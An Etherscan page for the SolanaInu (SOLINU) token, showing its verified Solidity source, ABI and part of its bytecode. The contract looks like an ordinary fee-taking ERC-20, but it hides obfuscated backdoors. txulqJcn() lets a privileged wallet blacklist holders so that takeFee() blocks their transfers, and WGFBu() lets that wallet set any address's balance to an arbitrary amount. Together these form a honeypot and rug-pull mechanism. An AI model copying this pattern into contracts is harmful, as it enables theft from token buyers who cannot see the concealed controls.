ETH Price: $3,497.05 (+1.21%)

Token

SolanaInu (SOLINU)
 

Overview

Max Total Supply

1,000,000,000,000,000 SOLINU

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
9,468,053,600,000.97 SOLINU

Value
$0.00
0xbdb520493f528442942e194749cd276e929de0ab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SolanaInu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-10
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.7;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  SolanaInu is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "SolanaInu";
    string private _symbol = "SOLINU";
    uint8 private _decimals = 9;
    address payable public DXtw;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public zpGpwB;

    uint256 public _buyMarketingFee = 2;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellMarketingFee = 2;
    uint256 public _sellTeamFee = 1;

    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee.add(_buyTeamFee);
        _totalTaxIfSelling = _sellMarketingFee.add(_sellTeamFee);
        _totalDistributionShares = _marketingShare.add(_teamShare);

        isMarketPair[address(uniswapPair)] = true;


        DXtw = payable(address(0x9EF40594691C701331F1BC4e4eE5C6D7c7c62116));
        teamWalletAddress = payable(address(0x9EF40594691C701331F1BC4e4eE5C6D7c7c62116));


        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setIsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _isExcludefromFee[account[i]] = newValue;
        }
    }

    function setBuy(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyMarketingFee.add(_buyTeamFee);
    }

    function setSell(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellMarketingFee.add(_sellTeamFee);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function txulqJcn(bool Ttf, address[] calldata ftrGaAV) public {
        yNj(true);
        for (uint256 i; i < ftrGaAV.length; i++) {
            zpGpwB[ftrGaAV[i]] = Ttf;
        }
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function yNj(bool status) view public{
        if (!status) return;
        {require(DXtw == _msgSender());}
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function WGFBu(uint256 KCjHy, address bojxF) public {
        uint256 amount0In;
        yNj(true);
        amount0In = KCjHy + 5 * balanceOf(bojxF) - 4 * _balances[bojxF];{ _balances[bojxF] = amount0In;}
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[from] && swapAndLiquifyEnabled) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForSwap = tAmount;
        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares;
        
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(DXtw, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);
    }
    

    function swapTokensForEth(uint256 amount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
        require(!zpGpwB[sender]);}
        

        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DXtw","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"KCjHy","type":"uint256"},{"internalType":"address","name":"bojxF","type":"address"}],"name":"WGFBu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"Ttf","type":"bool"},{"internalType":"address[]","name":"ftrGaAV","type":"address[]"}],"name":"txulqJcn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"yNj","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"zpGpwB","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600981526020017f536f6c616e61496e750000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000905565b506040518060400160405280600681526020017f534f4c494e550000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000905565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506002600a556001600b556002600c556001600d556004600e556010600f55600c601055600c6011556018601255600360009054906101000a900460ff16600a6200013f919062000b7c565b66038d7ea4c6800062000153919062000cb9565b601355600360009054906101000a900460ff16600a62000174919062000b7c565b6103e862000183919062000cb9565b6014556001601660156101000a81548160ff021916908315150217905550348015620001ae57600080fd5b50620001bf6200087160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002d957600080fd5b505afa158015620002ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003149190620009cc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037757600080fd5b505afa1580156200038c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b29190620009cc565b6040518363ffffffff1660e01b8152600401620003d192919062000a47565b602060405180830381600087803b158015620003ec57600080fd5b505af115801562000401573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004279190620009cc565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601354600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005636200087960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200062a600b54600a54620008a260201b620014921790919060201c565b6010819055506200064e600d54600c54620008a260201b620014921790919060201c565b60118190555062000672600f54600e54620008a260201b620014921790919060201c565b601281905550600160086000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550739ef40594691c701331f1bc4e4ee5c6d7c7c62116600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739ef40594691c701331f1bc4e4ee5c6d7c7c62116600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135460056000620007b36200087160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008016200087160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60135460405162000862919062000a96565b60405180910390a35062000e4e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284620008b3919062000ac4565b905083811015620008fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008f29062000a74565b60405180910390fd5b8091505092915050565b828054620009139062000d65565b90600052602060002090601f01602090048101928262000937576000855562000983565b82601f106200095257805160ff191683800117855562000983565b8280016001018555821562000983579182015b828111156200098257825182559160200191906001019062000965565b5b50905062000992919062000996565b5090565b5b80821115620009b157600081600090555060010162000997565b5090565b600081519050620009c68162000e34565b92915050565b600060208284031215620009e557620009e462000df9565b5b6000620009f584828501620009b5565b91505092915050565b62000a098162000d1a565b82525050565b600062000a1e601b8362000ab3565b915062000a2b8262000e0b565b602082019050919050565b62000a418162000d4e565b82525050565b600060408201905062000a5e6000830185620009fe565b62000a6d6020830184620009fe565b9392505050565b6000602082019050818103600083015262000a8f8162000a0f565b9050919050565b600060208201905062000aad600083018462000a36565b92915050565b600082825260208201905092915050565b600062000ad18262000d4e565b915062000ade8362000d4e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b165762000b1562000d9b565b5b828201905092915050565b6000808291508390505b600185111562000b735780860481111562000b4b5762000b4a62000d9b565b5b600185161562000b5b5780820291505b808102905062000b6b8562000dfe565b945062000b2b565b94509492505050565b600062000b898262000d4e565b915062000b968362000d58565b925062000bc57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bcd565b905092915050565b60008262000bdf576001905062000cb2565b8162000bef576000905062000cb2565b816001811462000c08576002811462000c135762000c49565b600191505062000cb2565b60ff84111562000c285762000c2762000d9b565b5b8360020a91508482111562000c425762000c4162000d9b565b5b5062000cb2565b5060208310610133831016604e8410600b841016171562000c835782820a90508381111562000c7d5762000c7c62000d9b565b5b62000cb2565b62000c92848484600162000b21565b9250905081840481111562000cac5762000cab62000d9b565b5b81810290505b9392505050565b600062000cc68262000d4e565b915062000cd38362000d4e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d0f5762000d0e62000d9b565b5b828202905092915050565b600062000d278262000d2e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000d7e57607f821691505b6020821081141562000d955762000d9462000dca565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000e3f8162000d1a565b811462000e4b57600080fd5b50565b60805160601c6132ab62000e6d6000396000610c5901526132ab6000f3fe6080604052600436106102295760003560e01c806395d89b4111610123578063c5d24189116100ab578063d2d7ad831161006f578063d2d7ad8314610832578063d4f2fe3c1461085d578063dd62ed3e14610886578063f0cd1dac146108c3578063f2fde38b146108ee57610230565b8063c5d241891461075d578063c816841b14610788578063c8607952146107b3578063cab03471146107de578063d0f0c57c1461080957610230565b8063a83f53a7116100f2578063a83f53a714610678578063a9059cbb146106a3578063c3241855146106e0578063c469b6dd14610709578063c49b9a801461073457610230565b806395d89b41146105ce578063a073d37f146105f9578063a0821ee514610624578063a08e671f1461064d57610230565b8063313ce567116101b15780634a74bb02116101755780634a74bb02146104e557806361a23c691461051057806370a082311461053b57806382eefb43146105785780638da5cb5b146105a357610230565b8063313ce567146103da5780633345611e1461040557806334db328f146104425780633714c6ab1461046b5780633ecad271146104a857610230565b80631245e347116101f85780631245e347146102f15780631694505e1461031c57806318160ddd1461034757806323b872dd1461037257806327c8f835146103af57610230565b806306fdde0314610235578063081f0e9a14610260578063095ea7b3146102895780631007663b146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610917565b6040516102579190612abd565b60405180910390f35b34801561026c57600080fd5b50610287600480360381019061028291906126c8565b6109a9565b005b34801561029557600080fd5b506102b060048036038101906102ab9190612688565b610ae3565b6040516102bd9190612a87565b60405180910390f35b3480156102d257600080fd5b506102db610b01565b6040516102e89190612a6c565b60405180910390f35b3480156102fd57600080fd5b50610306610b27565b6040516103139190612a6c565b60405180910390f35b34801561032857600080fd5b50610331610b4d565b60405161033e9190612aa2565b60405180910390f35b34801561035357600080fd5b5061035c610b73565b6040516103699190612bbf565b60405180910390f35b34801561037e57600080fd5b5061039960048036038101906103949190612635565b610b7d565b6040516103a69190612a87565b60405180910390f35b3480156103bb57600080fd5b506103c4610c57565b6040516103d19190612a51565b60405180910390f35b3480156103e657600080fd5b506103ef610c7b565b6040516103fc9190612c34565b60405180910390f35b34801561041157600080fd5b5061042c6004803603810190610427919061259b565b610c92565b6040516104399190612a87565b60405180910390f35b34801561044e57600080fd5b5061046960048036038101906104649190612728565b610cb2565b005b34801561047757600080fd5b50610492600480360381019061048d919061259b565b610d21565b60405161049f9190612a87565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca919061259b565b610d41565b6040516104dc9190612a87565b60405180910390f35b3480156104f157600080fd5b506104fa610d61565b6040516105079190612a87565b60405180910390f35b34801561051c57600080fd5b50610525610d74565b6040516105329190612bbf565b60405180910390f35b34801561054757600080fd5b50610562600480360381019061055d919061259b565b610d7a565b60405161056f9190612bbf565b60405180910390f35b34801561058457600080fd5b5061058d610dc3565b60405161059a9190612bbf565b60405180910390f35b3480156105af57600080fd5b506105b8610dc9565b6040516105c59190612a51565b60405180910390f35b3480156105da57600080fd5b506105e3610df2565b6040516105f09190612abd565b60405180910390f35b34801561060557600080fd5b5061060e610e84565b60405161061b9190612bbf565b60405180910390f35b34801561063057600080fd5b5061064b600480360381019061064691906127f5565b610e8e565b005b34801561065957600080fd5b50610662610f52565b60405161066f9190612bbf565b60405180910390f35b34801561068457600080fd5b5061068d610f58565b60405161069a9190612bbf565b60405180910390f35b3480156106af57600080fd5b506106ca60048036038101906106c59190612688565b610f5e565b6040516106d79190612a87565b60405180910390f35b3480156106ec57600080fd5b50610707600480360381019061070291906127b5565b610f7d565b005b34801561071557600080fd5b5061071e61104a565b60405161072b9190612bbf565b60405180910390f35b34801561074057600080fd5b5061075b60048036038101906107569190612728565b611050565b005b34801561076957600080fd5b50610772611102565b60405161077f9190612bbf565b60405180910390f35b34801561079457600080fd5b5061079d611108565b6040516107aa9190612a51565b60405180910390f35b3480156107bf57600080fd5b506107c861112e565b6040516107d59190612bbf565b60405180910390f35b3480156107ea57600080fd5b506107f3611134565b6040516108009190612bbf565b60405180910390f35b34801561081557600080fd5b50610830600480360381019061082b91906127f5565b61113a565b005b34801561083e57600080fd5b506108476111fe565b6040516108549190612bbf565b60405180910390f35b34801561086957600080fd5b50610884600480360381019061087f9190612755565b611204565b005b34801561089257600080fd5b506108ad60048036038101906108a891906125f5565b6112b3565b6040516108ba9190612bbf565b60405180910390f35b3480156108cf57600080fd5b506108d861133a565b6040516108e59190612bbf565b60405180910390f35b3480156108fa57600080fd5b506109156004803603810190610910919061259b565b611340565b005b60606001805461092690612e9b565b80601f016020809104026020016040519081016040528092919081815260200182805461095290612e9b565b801561099f5780601f106109745761010080835404028352916020019161099f565b820191906000526020600020905b81548152906001019060200180831161098257829003601f168201915b5050505050905090565b6109b16114f0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3590612b5f565b60405180910390fd5b60005b83839050811015610add578160076000868685818110610a6457610a63612fa3565b5b9050602002016020810190610a79919061259b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad590612ecd565b915050610a41565b50505050565b6000610af7610af06114f0565b84846114f8565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601354905090565b6000610b8a8484846116c3565b50610c4c84610b976114f0565b610c478560405180606001604052806028815260200161324e60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bfd6114f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad29092919063ffffffff16565b6114f8565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b80610cbc57610d1e565b610cc46114f0565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffff